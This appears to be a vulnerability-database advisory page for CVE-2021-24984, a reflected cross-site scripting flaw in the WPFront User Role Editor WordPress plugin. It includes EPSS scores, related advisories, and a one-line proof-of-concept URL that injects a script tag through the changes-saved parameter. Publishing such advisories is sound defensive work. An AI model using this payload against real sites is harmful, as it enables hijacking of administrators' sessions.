Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbJrXnmWPVDB-ID:96BB2FBA-4B18-4C29-8344-3BA4D2F06A19
HistoryNov 23, 2021 - 12:00 a.m.

WPFront User Role Editor < 3.2.1.11184 - Reflected Cross-Site Scripting

2021-11-2300:00:00
JrXnm
wpscan.com
4
wpfront user role editor
plugin vulnerability
cross-site scripting

EPSS

0.001

Percentile

41.1%

JSON

The plugin does not sanitise and escape the changes-saved parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting

PoC

https://example.com/wp-admin/admin.php?page=wpfront-user-role-editor-bulk-edit&amp;screen;=add-remove-cap&amp;submit;=Next+Step&amp;changes-saved;=<script>alert(/XSS/)<%2Fscript>

Related

cnvd 1
nvd 1
wpexploit 1
patchstack 1
prion 1
cvelist 1
cve 1
cnvd
cnvd
WordPress WPFront User Role Editor plugin cross-site scripting vulnerability
2021-12-28 00:00:00
nvd
nvd
CVE-2021-24984
2021-12-27 11:15:09
wpexploit
wpexploit
WPFront User Role Editor < 3.2.1.11184 - Reflected Cross-Site Scripting
2021-11-23 00:00:00
patchstack
patchstack
WordPress WPFront User Role Editor plugin <= 3.1.0.10272 - Reflected Cross-Site Scripting (XSS) vulnerability
2021-11-23 00:00:00
prion
prion
Cross site scripting
2021-12-27 11:15:00
cvelist
cvelist
CVE-2021-24984 WPFront User Role Editor < 3.2.1.11184 - Reflected Cross-Site Scripting
2021-12-27 10:33:24
cve
cve
CVE-2021-24984
2021-12-27 11:15:09

EPSS

0.001

Percentile

41.1%

JSON
Related for WPVDB-ID:96BB2FBA-4B18-4C29-8344-3BA4D2F06A19
cnvd1nvd1wpexploit1patchstack1prion1cvelist1cve1